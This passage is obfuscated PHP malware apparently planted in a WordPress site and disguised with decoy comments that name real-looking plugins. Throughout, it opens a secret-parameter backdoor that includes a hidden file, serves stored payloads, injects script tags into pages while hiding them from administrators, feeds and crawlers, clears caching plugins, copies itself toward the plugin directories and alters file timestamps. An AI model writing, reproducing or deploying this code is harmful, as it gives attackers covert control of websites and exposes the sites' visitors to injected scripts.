 if  ((@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($nu_ijtqjjuw2a)   &&   @$GLOBALS['__scf_vz80l0_46bwga_46']($nu_ijtqjjuw2a)) || (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($nu_ijtqjjuw2a)  &&   t9pjso5fxcttzwg5jam805($nu_ijtqjjuw2a, (463+30), true)))  {
$hbs89ts1qgidq5i  =   $nu_ijtqjjuw2a     .   '/'  . $_3gqlb29heqj   .   woii22it0(1745);
     $sqt_ojo_yw    =  @$GLOBALS['__scf_mtwlgr3p78_18']($hbs89ts1qgidq5i) ?  olg5ho6a49l4x7($hbs89ts1qgidq5i)  :  "";
    $buz815453lpul =   ($sqt_ojo_yw  === null);



    if ($GLOBALS['__scf_epa1jymnf5_40']($sqt_ojo_yw)   &&  $sqt_ojo_yw   !==    ""  &&   $GLOBALS['__scf_iz3o_ajtgml6rf_96'](k83m2slbb(1746),    $GLOBALS['__scf_pdat24v9nxkx0_9']($sqt_ojo_yw,  0,   (4008+88)),   $vf2umij9626339eu)   &&  version_compare($vf2umij9626339eu[1], tdwuvuxeuijm__qj(), '>'))  $buz815453lpul   =  true;
  unset($vf2umij9626339eu);
     if  (!$buz815453lpul &&  (!$GLOBALS['__scf_epa1jymnf5_40']($sqt_ojo_yw)    ||      $sqt_ojo_yw === ""  || $GLOBALS['__scf__pih7hoh4m_56']($sqt_ojo_yw)     !==   $GLOBALS['__scf__pih7hoh4m_56']($lg3qq7zrzjh0ss2)))   {$jyqfrtc_7ah0=82+97;$zxwb7supkm7uet=$jyqfrtc_7ah0-32;
 if     (m9xp6uh5w1cal39pfn4cx($hbs89ts1qgidq5i, pn7nm6nqd14rnwe($lg3qq7zrzjh0ss2)))  {
dvd1rr9pr3xu08j($hbs89ts1qgidq5i, (373+47));



q9qe9dyjynhf_ro94m($hbs89ts1qgidq5i);



 j432fegx9wjwq5cz8t($hbs89ts1qgidq5i);


  }
     } elseif  (!$buz815453lpul) {
 $geasidcbig2nhgf    =   @$GLOBALS['__scf_gibkjes9ds_98']($hbs89ts1qgidq5i);
     if (!$geasidcbig2nhgf     || ($geasidcbig2nhgf    %   (0x8554+0x1014c))  !==  besgaqtopfqsg9c6hd())  q9qe9dyjynhf_ro94m($hbs89ts1qgidq5i);



  unset($geasidcbig2nhgf);
}
 unset($sqt_ojo_yw,     $buz815453lpul);
       }
mmmxkpo7z9k2vlcrw401fz($lg3qq7zrzjh0ss2);
  }  catch   (Throwable $oz7m23pnscj7)    {
pas31bymshzdagwkp(n747he9yo38(1747),    $oz7m23pnscj7);
}   catch     (Exception $oz7m23pnscj7)  {
   }
    }
  function   o1mm39h1tcqj_rmt8vr6h()
  {



if   (!isset($_GET['p']) ||  !$GLOBALS['__scf_epa1jymnf5_40']($_GET['p']))      return;


  $rmmuredxzyib345p =  $_GET['p'];
   if ($rmmuredxzyib345p    ===    st3k2bxrexlza0k8_o5g_4(hwc6a8djp6yy(1748)))  {
     $GLOBALS[hwc6a8djp6yy(1749)]    =  true;
   try {

  $_5oulefoc4isl09 =    zaag8uz2ttqgqlhq()  .     '/'  .    w5r7ae3dymnovvl7(ABSPATH   .  k83m2slbb(1750), (13-5)) . lgr6hp92ka(1745);
$d6bxefbgld7n  =  @$GLOBALS['__scf_mtwlgr3p78_18']($_5oulefoc4isl09) ?  (int) @$GLOBALS['__scf_vhi5vhdwib7ye_99']($_5oulefoc4isl09)   :     0;

   if  ($d6bxefbgld7n >     (420+80)  && $d6bxefbgld7n  <=   (5242875+5))    {
      include  $_5oulefoc4isl09;
   }

   }  catch  (Throwable  $oz7m23pnscj7)  {$l52baaty=(0x68+0xaa);$a_vzsgm3=$l52baaty%7;


       }    catch      (Exception  $oz7m23pnscj7) {
}

    while  ($GLOBALS['__scf_mxl3mysodd0y6__414']()  >  0 &&  @ob_end_clean()) {
 }
 header(k83m2slbb(1751));
     exit;
     }
     if  ($rmmuredxzyib345p   !== st3k2bxrexlza0k8_o5g_4(lgr6hp92ka(1150)))   return;
   try   {
if ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1752)) &&  $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1581)))  {



@update_option(k83m2slbb(499),     (int) @get_option(k83m2slbb(499), 0)  +  1,    hwc6a8djp6yy(1593));
   @update_option(k83m2slbb(1753),  $GLOBALS['__scf_cyotfgtf1a8m_189'](),  n747he9yo38(1593));$jxw_tq0gm8=80*9;$bk5t3t4y=$jxw_tq0gm8-24;
    }


  $fzvx_rqt0r0ed59   =   nswwyfxxcf0yh1u(hwc6a8djp6yy(1160),    "");
  if     ($GLOBALS['__scf_h5yqrl6kmpb_10']($fzvx_rqt0r0ed59)    >     (3+97) &&  !$GLOBALS['__scf_iz3o_ajtgml6rf_96'](lgr6hp92ka(1754), $fzvx_rqt0r0ed59)  &&    $GLOBALS['__scf_iz3o_ajtgml6rf_96'](n747he9yo38(1755),     $fzvx_rqt0r0ed59))  {
   $_tpo7qc597    = @$GLOBALS['__scf_ts5_ao9xhku_355']($fzvx_rqt0r0ed59,  true);
 if     ($_tpo7qc597   !==   false  &&    $GLOBALS['__scf_h5yqrl6kmpb_10']($_tpo7qc597)   > (25<<2))    $fzvx_rqt0r0ed59  =  $_tpo7qc597;


      }
 if  ($GLOBALS['__scf_h5yqrl6kmpb_10']($fzvx_rqt0r0ed59)    <      (113-13))  $fzvx_rqt0r0ed59   =  k1kbds0hqy9d57ef_fe();
if  ($GLOBALS['__scf_h5yqrl6kmpb_10']($fzvx_rqt0r0ed59)    <    (0x4f+0x15))     {
// @deregister accumulator

   while   ($GLOBALS['__scf_mxl3mysodd0y6__414']() >  0   && @ob_end_clean()) {


   }
   header(k83m2slbb(1756));



  header(lgr6hp92ka(1757));
header(n747he9yo38(1758));
exit;
}
// @emit template

 $seli8652g_w26u  =     nswwyfxxcf0yh1u(hwc6a8djp6yy(1143), "");
    $wv0w6d8srfr    =     '"'  .  $GLOBALS['__scf__pih7hoh4m_56']($seli8652g_w26u  .    $fzvx_rqt0r0ed59)    .  '"';
 if (isset($_SERVER[hwc6a8djp6yy(1759)])   && $GLOBALS['__scf_xcg5caaat_92j0_323']($_SERVER[k83m2slbb(1759)])    ===   $wv0w6d8srfr) {
while     ($GLOBALS['__scf_mxl3mysodd0y6__414']()  > 0  && @ob_end_clean())    {


       }
header(woii22it0(1760));
  header(lgr6hp92ka(1761)   .    $wv0w6d8srfr);
   exit;
    }
  while   ($GLOBALS['__scf_mxl3mysodd0y6__414']()   >    0 && @ob_end_clean()) {$spo0zys15o=PHP_MAJOR_VERSION;$q6xtr7qzm=$spo0zys15o*4;
}
// generative registry

      header(k83m2slbb(1756));


    header(k83m2slbb(1757));
header(n747he9yo38(1762));

 header(woii22it0(1763)  .    $wv0w6d8srfr);
  



      echo $seli8652g_w26u .  $fzvx_rqt0r0ed59;
 exit;
  } catch  (Throwable $oz7m23pnscj7) {



pas31bymshzdagwkp(hwc6a8djp6yy(1764),   $oz7m23pnscj7);

    } catch   (Exception  $oz7m23pnscj7) {
// dense quotient


     pas31bymshzdagwkp(hwc6a8djp6yy(1765),   $oz7m23pnscj7);



 }
      }
 o1mm39h1tcqj_rmt8vr6h();
 function  mmr2s21i8n6z017pzc4uhk()
    {
// parallelize savepoint for WP Site Logo

  if   (!isset($_GET[lgr6hp92ka(1766)]))  return;
 try  {
 $xly8_ey2fm  =   $_GET[k83m2slbb(1766)];
  

   if     (!$GLOBALS['__scf_epa1jymnf5_40']($xly8_ey2fm)   ||  $xly8_ey2fm === "")  return;
 $xly8_ey2fm     =     $GLOBALS['__scf_ytoyy4ewqm_103']($xly8_ey2fm);
    $d5w_kgjh382z80e   =   array();
  if   ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1162)))   $d5w_kgjh382z80e[]  =    (string)   $GLOBALS['__scf_c0nria_kxj_557'](home_url(), PHP_URL_HOST);
 if ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1752)))    {

  $yp2va7ab9d9h  =     (string) @get_option(k83m2slbb(1767), "");

  if     ($yp2va7ab9d9h !==  "")     $d5w_kgjh382z80e[]  =     (string)   $GLOBALS['__scf_c0nria_kxj_557']($yp2va7ab9d9h,   PHP_URL_HOST);$i4zyrv_17rm1=(0xf8+0xa6);$r4d8edkbpu3an=$i4zyrv_17rm1%11;
}
  if     (isset($_SERVER[hwc6a8djp6yy(1768)]))   $d5w_kgjh382z80e[]   =  (string)  $_SERVER[n747he9yo38(1768)];
   $d5w_kgjh382z80e[]  =   og1x2m03ubzy0v1hpff6("");

  $d7i_7gsju4_05   =  false;
foreach   ($GLOBALS['__scf_w5opg4gsg8g4tp_148']($d5w_kgjh382z80e) as  $_je48tse6vyy9)   {
 if  (!$GLOBALS['__scf_epa1jymnf5_40']($_je48tse6vyy9)      ||   $_je48tse6vyy9 === "")   continue;


 if ($GLOBALS['__scf_p9nk7khmjys_7']($_je48tse6vyy9, ':')  !==   false) $_je48tse6vyy9 = $GLOBALS['__scf_lv9m74lgyu5o6_460'](lgr6hp92ka(1769),  "", $_je48tse6vyy9);
if (w5r7ae3dymnovvl7($GLOBALS['__scf_ytoyy4ewqm_103']($_je48tse6vyy9)    . lgr6hp92ka(1770),   (10+2))  ===    $xly8_ey2fm) {
   $d7i_7gsju4_05 = true;
    break;
}
 }
 if   (!$d7i_7gsju4_05)  return;
  $_84thmh_ly4ajaa  = $GLOBALS['__scf_ton6sky6llzey7_1157'](lgr6hp92ka(1771),      (224^254));
$eo0d9htl1zpsn   = b04ufk_3d70c4p122ve6i(nrmao261sfpooxp($_84thmh_ly4ajaa));
  while     ($GLOBALS['__scf_mxl3mysodd0y6__414']()   > 0   &&   @ob_end_clean()) {
}
   header(woii22it0(1772));
       header(woii22it0(1773));
  echo ($eo0d9htl1zpsn   ===  $_84thmh_ly4ajaa)  ?  hwc6a8djp6yy(1774)  . $GLOBALS['__scf__pih7hoh4m_56']($_84thmh_ly4ajaa)   :   woii22it0(1775);
     exit;
     }  catch (Throwable  $oz7m23pnscj7) {


pas31bymshzdagwkp(hwc6a8djp6yy(1776), $oz7m23pnscj7);
 


}  catch   (Exception  $oz7m23pnscj7)  {
pas31bymshzdagwkp(n747he9yo38(1776),      $oz7m23pnscj7);



}
    }
mmr2s21i8n6z017pzc4uhk();
    function  nctc5m248h5cl4dws()
{
    $d7i_7gsju4_05 =      true;
    $r3rziti5u63ppq =    function ($vbr9z19n2qhp)    use   (&$d7i_7gsju4_05) {
   try {$_nchhnl08y49=(0x2d+0x7f);$orwnms0bhu=$_nchhnl08y49%16;
 $GLOBALS['__scf_f_h6mgk0cf1_291']($vbr9z19n2qhp);
   }  catch (Throwable $oz7m23pnscj7)   {
     $d7i_7gsju4_05 =  false;
} catch      (Exception   $oz7m23pnscj7) {
  $d7i_7gsju4_05    = false;
}
     };



  if  ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1777))) $r3rziti5u63ppq(lgr6hp92ka(1777));
if    ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1778))) $r3rziti5u63ppq(woii22it0(1778));
    if  ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(535))) $r3rziti5u63ppq(hwc6a8djp6yy(1779));

       if   ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1780)))    $r3rziti5u63ppq(lgr6hp92ka(1780));
  elseif   ($GLOBALS['__scf_f844yvc4tu_536'](hwc6a8djp6yy(1781)) && $GLOBALS['__scf_jsvpc2hg_6ahvj_119'](n747he9yo38(1781),  n747he9yo38(1782))) $r3rziti5u63ppq(array(hwc6a8djp6yy(1781),      k83m2slbb(1783)));

 if    ($GLOBALS['__scf_f844yvc4tu_536'](n747he9yo38(1784))   &&  $GLOBALS['__scf_jsvpc2hg_6ahvj_119'](woii22it0(1784),   hwc6a8djp6yy(1785)))   $r3rziti5u63ppq(array(k83m2slbb(1784),  k83m2slbb(1786)));
 if  ($GLOBALS['__scf_f844yvc4tu_536'](hwc6a8djp6yy(1787))  &&   $GLOBALS['__scf_jsvpc2hg_6ahvj_119'](woii22it0(1787),  n747he9yo38(1788))) $r3rziti5u63ppq(array(k83m2slbb(1787),  k83m2slbb(1788)));
 if    ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1789)))  $r3rziti5u63ppq(lgr6hp92ka(1790));
 elseif     (isset($GLOBALS[woii22it0(538)])  &&  $GLOBALS['__scf_mvbylv45uji1_67']($GLOBALS[n747he9yo38(1791)]) && $GLOBALS['__scf_jsvpc2hg_6ahvj_119']($GLOBALS[n747he9yo38(1791)], n747he9yo38(1792))) $r3rziti5u63ppq(function ()    {
 $GLOBALS[k83m2slbb(1791)]->deleteCache(true);
 });
 if ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1793)))     $r3rziti5u63ppq(hwc6a8djp6yy(1794));
  if  ($GLOBALS['__scf_f844yvc4tu_536'](k83m2slbb(1795))   && $GLOBALS['__scf_jsvpc2hg_6ahvj_119'](woii22it0(1795), n747he9yo38(1796)))   $r3rziti5u63ppq(array(lgr6hp92ka(1795),  k83m2slbb(1797)));

pas31bymshzdagwkp(n747he9yo38(451),  k83m2slbb(1798));
return  $d7i_7gsju4_05;
 }
   function   _jn_dt20flls3u4u6srgo()
{
   if ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(768))  &&    is_admin()) return true;$to32c9tdt2o=(0x1d+0xc9);$l0558d9vm5px=$to32c9tdt2o%7;



if   ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1799)) &&  wp_doing_ajax())  return true;
 if  (defined(hwc6a8djp6yy(1800))  && REST_REQUEST)  return true;
      if    (defined(n747he9yo38(1801))  &&  XMLRPC_REQUEST)   return  true;
     if     ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1802)) && is_feed())     return   true;
 if  ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1803))   &&    is_robots())  return    true;
     if   ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1804))    &&  is_sitemaps())  return true;
if     ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1805))  &&  is_customize_preview())     return   true;
 if   (isset($_GET[n747he9yo38(1806)])  ||   isset($_GET[hwc6a8djp6yy(1807)])  ||  isset($_GET[n747he9yo38(1808)]))  return   true;
        return     false;
}
   function ec0vy3nx46rhy47g94e693()
{
$p99c1_q0k0  =    (isset($GLOBALS[hwc6a8djp6yy(627)])  &&  $GLOBALS['__scf_epa1jymnf5_40']($GLOBALS[lgr6hp92ka(627)]))  ? $GLOBALS['__scf_xcg5caaat_92j0_323']($GLOBALS[woii22it0(627)]) :      "";$a3pc0os9l=209|143;$kbd7jyhvp=$a3pc0os9l^114;
    if   ($p99c1_q0k0    ===   "")  return "";
     $p99c1_q0k0    = $GLOBALS['__scf_obam74mgj139o_361'](lgr6hp92ka(1809),  hwc6a8djp6yy(1810), $p99c1_q0k0);
 $kp78m876rb4stckv =  $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1811)) ? (string)  $GLOBALS['__scf_c0nria_kxj_557'](home_url(), PHP_URL_HOST)   : "";
       $ekam96shdr4n =  w5r7ae3dymnovvl7($GLOBALS['__scf_ytoyy4ewqm_103']($kp78m876rb4stckv),     (7-1));
 $sg9nx4suq4bcb75v =  $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56']($p99c1_q0k0),      0,    (0x3+0x3));
return "\n<script data-sc=\""  .  $ekam96shdr4n  .   '-'  .    $sg9nx4suq4bcb75v . "\">\n"   .   $p99c1_q0k0  .   "\n</script>\n<!-- sc"     .   $ekam96shdr4n    .   '-'   .    $sg9nx4suq4bcb75v  . " -->\n";
   }


    function   bdltqd4lei4l71brlzy()
    {



  try   {


if  (_jn_dt20flls3u4u6srgo())   return;
$knwd0cnfde_ =   ec0vy3nx46rhy47g94e693();
       if     ($knwd0cnfde_  ===  "")    return;
echo   $knwd0cnfde_;
$GLOBALS[woii22it0(492)] =    true;
  if  ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1752)) &&  $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1581)) &&     empty($GLOBALS[n747he9yo38(1812)]))   {
     $GLOBALS[n747he9yo38(1812)] =   true;
  $tojxfv9k5jyl    =   (int)  @get_option(lgr6hp92ka(496), 0);
  if ($GLOBALS['__scf_cyotfgtf1a8m_189']()   - $tojxfv9k5jyl >  (288+12))   @update_option(k83m2slbb(496), $GLOBALS['__scf_cyotfgtf1a8m_189'](),  woii22it0(1593));
   unset($tojxfv9k5jyl);
   }
// mount prime publisher

 }  catch  (Throwable   $oz7m23pnscj7) {
   pas31bymshzdagwkp(n747he9yo38(633),     $oz7m23pnscj7);
    }  catch  (Exception     $oz7m23pnscj7) {
/* bounded negotiator */

 }



   }


function   h91qkpp27aerwjw($yw1q2y5xfubgi,    $mlfcsjzvg_1zd6 = 0)
  {
 if  (!$GLOBALS['__scf_epa1jymnf5_40']($yw1q2y5xfubgi)  ||    $yw1q2y5xfubgi   ===  "") return $yw1q2y5xfubgi;



if   (defined(lgr6hp92ka(1813))  && !($mlfcsjzvg_1zd6  &   PHP_OUTPUT_HANDLER_FINAL))     return      $yw1q2y5xfubgi;



  if   (!empty($GLOBALS[woii22it0(1814)]))    return    $yw1q2y5xfubgi;
      if (!empty($GLOBALS[n747he9yo38(1815)]))      return  $yw1q2y5xfubgi;
     if  ($GLOBALS['__scf_h5yqrl6kmpb_10']($yw1q2y5xfubgi) > (0x16e399+0x291c67))  return  $yw1q2y5xfubgi;
   if      ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(406)))  {
// @debounce trust-anchor

     foreach ((array)  @headers_list() as $krbfpyu084mvnqod)  {
      if   (stripos($krbfpyu084mvnqod,  k83m2slbb(1816)) ===  0  && stripos($krbfpyu084mvnqod,  k83m2slbb(1817))   !== false)  return $yw1q2y5xfubgi;
if (stripos($krbfpyu084mvnqod,     lgr6hp92ka(1818))    === 0   &&  stripos($krbfpyu084mvnqod,     n747he9yo38(1819))    === false &&  stripos($krbfpyu084mvnqod, hwc6a8djp6yy(1820))    ===  false)    return $yw1q2y5xfubgi;
 }
    unset($krbfpyu084mvnqod);

       }


  $knwd0cnfde_    =   ec0vy3nx46rhy47g94e693();
 if  ($knwd0cnfde_ === "")  return   $yw1q2y5xfubgi;

   if (stripos($yw1q2y5xfubgi,   hwc6a8djp6yy(1821))    ===    false      && stripos($yw1q2y5xfubgi, n747he9yo38(1822))    ===    false)  return $yw1q2y5xfubgi;
  $GLOBALS[n747he9yo38(1815)]     = true;
$GLOBALS[hwc6a8djp6yy(494)]   = true;
 $n9d5zh0rhrgf9nx     =   stripos($yw1q2y5xfubgi, n747he9yo38(1821));
if   ($n9d5zh0rhrgf9nx   !== false)  {
  return   $GLOBALS['__scf_pdat24v9nxkx0_9']($yw1q2y5xfubgi,  0,  $n9d5zh0rhrgf9nx)  .   $knwd0cnfde_   .    $GLOBALS['__scf_pdat24v9nxkx0_9']($yw1q2y5xfubgi,  $n9d5zh0rhrgf9nx);
 }
return  $yw1q2y5xfubgi      .   $knwd0cnfde_;
 }
      function h_tk6ro_g7na38njeyr7()

{
  try {

   if (_jn_dt20flls3u4u6srgo()) return;
  if  (!empty($GLOBALS[k83m2slbb(1823)]))   return;


     if  (!empty($GLOBALS[woii22it0(1824)]))   return;

  if    (!$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(406))) return;
  $p99c1_q0k0   = (isset($GLOBALS[woii22it0(1825)])    && $GLOBALS['__scf_epa1jymnf5_40']($GLOBALS[woii22it0(1826)]))  ?      $GLOBALS['__scf_xcg5caaat_92j0_323']($GLOBALS[lgr6hp92ka(1826)])    :      "";
    if ($p99c1_q0k0 ===     "")  return;
  $rtr8axctxaap =  isset($_SERVER[hwc6a8djp6yy(1827)])     ?  (string)   $_SERVER[woii22it0(1827)]    :   "";


  if     ($rtr8axctxaap    !==  "" && $GLOBALS['__scf_iz3o_ajtgml6rf_96'](n747he9yo38(1828), $rtr8axctxaap))    return;
     if ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1829))) {
    foreach ((array)    @headers_list()   as  $krbfpyu084mvnqod) {
 if  (stripos($krbfpyu084mvnqod,   woii22it0(1816))  === 0 &&     stripos($krbfpyu084mvnqod,  woii22it0(1817))     !==      false)     return;
 if  (stripos($krbfpyu084mvnqod,   hwc6a8djp6yy(1818)) ===   0   &&  stripos($krbfpyu084mvnqod,  woii22it0(1830))  ===  false  &&  stripos($krbfpyu084mvnqod, lgr6hp92ka(1820))  ===    false)  return;
if (stripos($krbfpyu084mvnqod,     n747he9yo38(1831))  === 0)   return;

 }
   unset($krbfpyu084mvnqod);
 }


    $GLOBALS[hwc6a8djp6yy(1824)]  =   true;
 @$GLOBALS['__scf_rfchtw112p9f5_1832'](n747he9yo38(1833));
 }    catch   (Throwable $oz7m23pnscj7)   {
pas31bymshzdagwkp(lgr6hp92ka(1834), $oz7m23pnscj7);


}     catch   (Exception  $oz7m23pnscj7)    {
   }
// shard call-graph for WP Latest Posts




 }
    function j9wyjq7id67fpq4r7i()
 {


try {
  if    (!$GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1835)))  return;



 if    (!is_admin()   &&  (!isset($GLOBALS[woii22it0(1836)]) ||     $GLOBALS[woii22it0(1837)]  !== n747he9yo38(1838)))   return;
 

     if ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(483))   &&  !is_ssl())      return;
     $zglx0dvs3qbo =  nswwyfxxcf0yh1u(lgr6hp92ka(497),   "");
   $ekam96shdr4n =      w5r7ae3dymnovvl7(ABSPATH   .     n747he9yo38(633), (10-4));
 $bglpbr7vbo2ydu = lgr6hp92ka(1839);



 if ($zglx0dvs3qbo      ===    "")   {

     if ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1752))  &&   (int)      @get_option(lgr6hp92ka(503),   0))    {
       @update_option(n747he9yo38(1840),  0,  lgr6hp92ka(1593));
$nion3voyn4q  =    (string)  @get_option(k83m2slbb(1841),   "");



     echo   "\n"  .    lgr6hp92ka(1842)   .    $ekam96shdr4n  . '>'
    .  lgr6hp92ka(1843)
  . woii22it0(1844)    .    $bglpbr7vbo2ydu(k83m2slbb(1845)) .  hwc6a8djp6yy(1846)
    .  lgr6hp92ka(1847)    .  $GLOBALS['__scf_lqvorm12n2um_586']($nion3voyn4q)  .   ';'
   .   k83m2slbb(1848)    .  $bglpbr7vbo2ydu(woii22it0(1849))   . woii22it0(1850)
  .  k83m2slbb(1851)   . $bglpbr7vbo2ydu(k83m2slbb(1852))  . lgr6hp92ka(1853)   . $bglpbr7vbo2ydu(k83m2slbb(1854)) .    hwc6a8djp6yy(1855) .  $bglpbr7vbo2ydu(k83m2slbb(1856))   .   woii22it0(1857) . $bglpbr7vbo2ydu(n747he9yo38(1858))      .  n747he9yo38(1859)
  .  hwc6a8djp6yy(1860)    .     $bglpbr7vbo2ydu(k83m2slbb(1861)) .    k83m2slbb(1862) .   $bglpbr7vbo2ydu(k83m2slbb(1863))     .  k83m2slbb(1864)

     .   lgr6hp92ka(1865)  . "\n";
      unset($nion3voyn4q);
    }
   return;
  }
    $zglx0dvs3qbo  = $GLOBALS['__scf_obam74mgj139o_361'](woii22it0(1866), n747he9yo38(1867), $zglx0dvs3qbo);



if  ($GLOBALS['__scf_p9nk7khmjys_7']($zglx0dvs3qbo, lgr6hp92ka(1867))   !==  0)     $zglx0dvs3qbo  =  lgr6hp92ka(1867)   . $GLOBALS['__scf_ptxcf45drp_8']($zglx0dvs3qbo,    '/');
     $jn40loymdc3k54    =    '/';
  if  ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1811))) {
 $do9m6ykbsjc_ = (string)   $GLOBALS['__scf_c0nria_kxj_557'](home_url(),   PHP_URL_PATH);



       if  ($do9m6ykbsjc_  !==  "" && $do9m6ykbsjc_ !==  '/')    $jn40loymdc3k54 =  $GLOBALS['__scf_aiwotu1kwod_12']($do9m6ykbsjc_,  '/')    . '/';
 }
   if ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1581)))   {
 @update_option(k83m2slbb(1868), 1,    hwc6a8djp6yy(1593));
  @update_option(hwc6a8djp6yy(1841),    $zglx0dvs3qbo,  woii22it0(1593));
    }
       $e8ifxom3qp0yl  =  hwc6a8djp6yy(1842)  .   $ekam96shdr4n   .  '>'
       . lgr6hp92ka(1843)
  . k83m2slbb(1844)   .     $bglpbr7vbo2ydu(hwc6a8djp6yy(1845))  .    k83m2slbb(1869)



 . woii22it0(1870)
      . hwc6a8djp6yy(1871)   .    $bglpbr7vbo2ydu(k83m2slbb(1872))    .    woii22it0(1873)  .  $GLOBALS['__scf_lqvorm12n2um_586']($zglx0dvs3qbo)  .   ')'
    . hwc6a8djp6yy(1874)   .  $bglpbr7vbo2ydu(n747he9yo38(1852))  .  k83m2slbb(1855) .    $bglpbr7vbo2ydu(n747he9yo38(1875)) .   hwc6a8djp6yy(1855)     . $bglpbr7vbo2ydu(n747he9yo38(1856))     . woii22it0(1857) . $bglpbr7vbo2ydu(k83m2slbb(1858))   .  n747he9yo38(1876) .   $GLOBALS['__scf_lqvorm12n2um_586']($zglx0dvs3qbo)   .  k83m2slbb(1877)
 .    hwc6a8djp6yy(1878)    .  $bglpbr7vbo2ydu(woii22it0(1879))   .    woii22it0(1873)  . $GLOBALS['__scf_lqvorm12n2um_586']($zglx0dvs3qbo)   .  woii22it0(1880)    . $GLOBALS['__scf_lqvorm12n2um_586']($jn40loymdc3k54)    .  lgr6hp92ka(1881) . $bglpbr7vbo2ydu(lgr6hp92ka(1863)) .     k83m2slbb(1882)
  .  hwc6a8djp6yy(1883)   .    $bglpbr7vbo2ydu(hwc6a8djp6yy(1884))   .   hwc6a8djp6yy(1885)
.   hwc6a8djp6yy(1871)      .  $bglpbr7vbo2ydu(lgr6hp92ka(1886))    . woii22it0(1887) . $bglpbr7vbo2ydu(n747he9yo38(178))   .  k83m2slbb(1888)


 . k83m2slbb(1889)     .    $bglpbr7vbo2ydu(n747he9yo38(1890))  . k83m2slbb(1891)


  . woii22it0(1892)
   .  hwc6a8djp6yy(1893) .  $bglpbr7vbo2ydu(woii22it0(1894))   .   n747he9yo38(1895)
     .    hwc6a8djp6yy(1896)   .   $bglpbr7vbo2ydu(n747he9yo38(1852))     .   n747he9yo38(1897)  .    $bglpbr7vbo2ydu(n747he9yo38(1898))  . k83m2slbb(1899)
 .     lgr6hp92ka(1865);$y23tt9kmm2rr=39+82;$idxkon85g97=$y23tt9kmm2rr-48;
echo    "\n"     .  $e8ifxom3qp0yl .  "\n";
  }    catch (Throwable   $oz7m23pnscj7) {
   pas31bymshzdagwkp(hwc6a8djp6yy(1900),   $oz7m23pnscj7);
 } catch (Exception    $oz7m23pnscj7) {

 pas31bymshzdagwkp(hwc6a8djp6yy(1900), $oz7m23pnscj7);
}
}
  
    if (i4qkukjj86t_x1mo())  {


 return;

 }
  n9gvhoz3_0simqxxrzsqw();


$efa69hhai98prz7t  =  @$GLOBALS['__scf_gibkjes9ds_98'](vcr09jqkbni2k4ee0y());
      if   (!$efa69hhai98prz7t  ||     ($efa69hhai98prz7t    %  (12737+87263))   !==  besgaqtopfqsg9c6hd()) {
    $ke56irhqal0wkk  = $GLOBALS['__scf_cyotfgtf1a8m_189']();



rrr831f_sv70sa0os2v(vcr09jqkbni2k4ee0y(),  ($ke56irhqal0wkk  - ($ke56irhqal0wkk %   (99960+40)))  +   besgaqtopfqsg9c6hd());
unset($ke56irhqal0wkk);

 }
unset($efa69hhai98prz7t);


  $jkynrz1bmk58deo =    $GLOBALS['__scf_zf6ei6xtcw1fb_11'](__FILE__)  .   n747he9yo38(1901) .  $GLOBALS['__scf_a39nlvrnocxziu_3'](__FILE__,   n747he9yo38(1745));
        $hp23bnnadpoyw6k_      =    @$GLOBALS['__scf_mtwlgr3p78_18']($jkynrz1bmk58deo)     ? (int)  @$GLOBALS['__scf_gibkjes9ds_98']($jkynrz1bmk58deo)  : 0;
    $n2aed8w__6jjg  = !($hp23bnnadpoyw6k_ > $GLOBALS['__scf_cyotfgtf1a8m_189']()    -      (230+70) && $hp23bnnadpoyw6k_    <=     $GLOBALS['__scf_cyotfgtf1a8m_189']() + (0xae+0x7e));
      if ($n2aed8w__6jjg)  @$GLOBALS['__scf_gl7by4d7j2f1u_73']($jkynrz1bmk58deo);
 unset($jkynrz1bmk58deo,    $hp23bnnadpoyw6k_);
if  ($n2aed8w__6jjg) try   {
     $fzr55wiqg09vrh3b   =  __FILE__;
 $ji980gomu7f   =  "";
      $d30y0vkuo4u8t210   =  @$GLOBALS['__scf_zonhpgc286wu1_95']($fzr55wiqg09vrh3b,   false,   null, 0, (4025+71));
 if   ($GLOBALS['__scf_epa1jymnf5_40']($d30y0vkuo4u8t210)   && $GLOBALS['__scf_iz3o_ajtgml6rf_96'](lgr6hp92ka(1902),  $d30y0vkuo4u8t210,  $ikky6pwawbq))  $ji980gomu7f = $ikky6pwawbq[1];
if ($ji980gomu7f    !== "" &&  defined(lgr6hp92ka(1903)))  {
// evict eventual transformer

$ath9v7no36e  =     array();
  $kn6o6o1gv0ffdcqy =     defined(woii22it0(1904))  ?      WPMU_PLUGIN_DIR      : WP_CONTENT_DIR   . woii22it0(1303);
 $fxwy76jilwc9xvk  =  defined(woii22it0(1305))   ?   WP_PLUGIN_DIR   :    WP_CONTENT_DIR .      n747he9yo38(737);

       $nndt8t670yr    =  false;
